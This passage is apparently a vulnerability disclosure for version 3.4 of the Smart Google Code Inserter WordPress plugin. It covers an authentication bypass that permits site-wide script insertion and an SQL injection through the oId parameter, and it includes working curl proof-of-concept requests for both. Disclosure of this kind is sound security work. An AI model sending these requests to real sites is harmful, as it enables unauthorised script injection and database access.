Product & Service Introduction: ================================== Smart Google Code Inserter is a Wordpress plugin that makes it easy to add Google Analytics tracking code as well as meta tag verification of Webmaster Tools. As of now, the plugin has been downloaded 34,207 times and has 9,000+ active installs. 2. Technical Details & Description: =================================== Authentication Bypass vulnerability in the Smart Google Code Inserter plugin 3.4 allows unauthenticated attackers to insert arbitrary javascript or HTML code which runs on all pages served by Wordpress. The saveGoogleCode() function in smartgooglecode.php does not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the inserted code. SQL Injection vulnerability, when coupled with the Authentication Bypass vulnerability in the Smart Google Code Inserter plugin 3.4 allows unauthenticated attackers to execute SQL queries in the context of the webserver. The saveGoogleAdWords() function in smartgooglecode.php did not use prepared statements and did not sanitize the $_POST["oId"] variable before passing it as input into the SQL query. 3. Proof of Concept (PoC): ========================== Code Insertion curl -k -i --raw -X POST -d "sgcgoogleanalytic=<script>alert("1");</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode" "http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host: localhost" -H "Content-Type: application/x-www-form-urlencoded" SQL Injection curl -k -i --raw -X POST -d "action=saveadwords&delconf=1&oId[]=1 OR 1=1--&ppccap[]=ex:mywplead&ppcpageid[]=1&ppccode[]=bb&nchkdel1=on" " http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host: localhost" -H "Content-Type: application/x-www-form-urlencoded" 4.
